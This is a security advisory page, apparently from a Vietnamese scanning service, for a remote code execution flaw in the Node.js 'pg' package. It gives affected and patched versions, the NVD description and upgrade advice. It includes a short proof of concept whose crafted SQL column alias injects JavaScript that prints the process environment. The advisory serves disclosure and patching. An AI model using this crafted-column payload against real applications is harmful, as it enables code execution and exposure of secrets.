| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|
| pg | ≥ 2.0.0, < 2.11.2≥ 3.0.0, < 3.6.4≥ 4.0.0, < 4.5.7≥ 6.0.0, < 6.4.2≥ 7.0.0, < 7.1.2> 5.0.0, < 5.2.1
| 2.11.23.6.44.5.76.4.27.1.25.2.1
|
| pg npm | ≥ 3.0.0, < 3.6.4≥ 4.0.0, < 4.5.7≥ 5.0.0, < 5.2.1≥ 6.0.0, < 6.0.5≥ 6.1.0, < 6.1.6≥ 6.2.0, < 6.2.5≥ 6.3.0, < 6.3.3≥ 6.4.0, < 6.4.2≥ 7.0.0, < 7.0.2≥ 7.1.0, < 7.1.2< 2.11.2
| 3.6.44.5.75.2.16.0.56.1.66.2.56.3.36.4.27.0.27.1.22.11.2
|
Mô tả
Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.
There are two specific scenarios in which it is likely for an application to be vulnerable:
- The application executes unsafe, user-supplied sql which contains malicious column names.
- The application connects to an untrusted database and executes a query returning results which contain a malicious column name.
Proof of Concept
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
Recommendation
- Version 2.x.x: Update to version 2.11.2 or later.
- Version 3.x.x: Update to version 3.6.4 or later.
- Version 4.x.x: Update to version 4.5.7 or later.
- Version 5.x.x: Update to version 5.2.1 or later.
- Version 6.x.x: Update to version 6.4.2 or later. ( Note that versions 6.1.6, 6.2.5, and 6.3.3 are also patched. )
- Version 7.x.x: Update to version 7.1.2 or later. ( Note that version 7.0.2 is also patched. )
Mô tả của NVD
A remote code execution vulnerability was found within the pg module when the remote database or query specifies a specially crafted column name. There are 2 likely scenarios in which one would likely be vulnerable. 1) Executing unsafe, user-supplied sql which contains a malicious column name. 2) Connecting to an untrusted database and executing a query which returns results where any of the column names are malicious.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí